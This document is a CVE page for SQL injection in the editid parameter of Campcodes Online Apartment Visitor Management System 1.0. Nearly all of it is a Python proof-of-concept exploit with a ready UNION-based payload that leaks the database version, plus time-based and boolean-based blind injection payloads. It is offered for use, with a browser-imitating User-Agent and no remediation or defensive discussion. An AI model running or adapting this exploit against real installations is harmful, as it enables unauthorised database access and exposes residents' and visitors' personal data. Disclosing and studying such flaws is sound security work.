CVE-2025-11334：Campcodes在线公寓访客管理系统SQL注入漏洞

# CVE-2025-11334 - SQL Injection PoC # Target: Campcodes Online Apartment Visitor Management System 1.0 # Vulnerable File: /visitor-detail.php # Vulnerable Parameter: editid import requests # Target URL target_url = "http://target.com/visitor-detail.php" # Normal request to verify the endpoint def check_endpoint(url): response = requests.get(url) if response.status_code == 200: print("[+] Endpoint is accessible") return True return False # SQL Injection payload via editid parameter # Example: Extract database version using UNION-based injection payload = "1 UNION SELECT 1,2,version(),4,5,6,7,8,9,10-- -" def exploit_sqli(base_url, param_value): """ Exploit SQL injection in editid parameter """ params = {"editid": param_value} headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Accept": "text/html,application/xhtml+xml" } try: response = requests.get(base_url, params=params, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") # Check for SQL injection indicators if "error" in response.text.lower() or "warning" in response.text.lower(): print("[!] Possible SQL error detected") # Extract data from response if UNION injection successful if "MariaDB" in response.text or "MySQL" in response.text: print("[+] Database version leaked!") return response.text return response.text except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None # Time-based blind SQL injection test def time_based_test(base_url): """ Test for time-based blind SQL injection """ import time payload_t = "1' AND SLEEP(5)-- -" start_time = time.time() response = requests.get(base_url, params={"editid": payload_t}, timeout=15) elapsed = time.time() - start_time if elapsed >= 5: print(f"[+] Time-based SQLi confirmed! Response time: {elapsed:.2f}s") return True return False # Boolean-based blind SQL injection def boolean_based_test(base_url): """ Test for boolean-based blind SQL injection """ true_payload = "1' AND 1=1-- -" false_payload = "1' AND 1=2-- -" true_resp = requests.get(base_url, params={"editid": true_payload}) false_resp = requests.get(base_url, params={"editid": false_payload}) if len(true_resp.text) != len(false_resp.text): print("[+] Boolean-based SQLi confirmed!") return True return False if __name__ == "__main__": if check_endpoint(target_url): # Run exploitation print("[*] Testing SQL Injection in editid parameter...") result = exploit_sqli(target_url, payload) # Additional tests time_based_test(target_url) boolean_based_test(target_url) print("[*] Exploitation complete")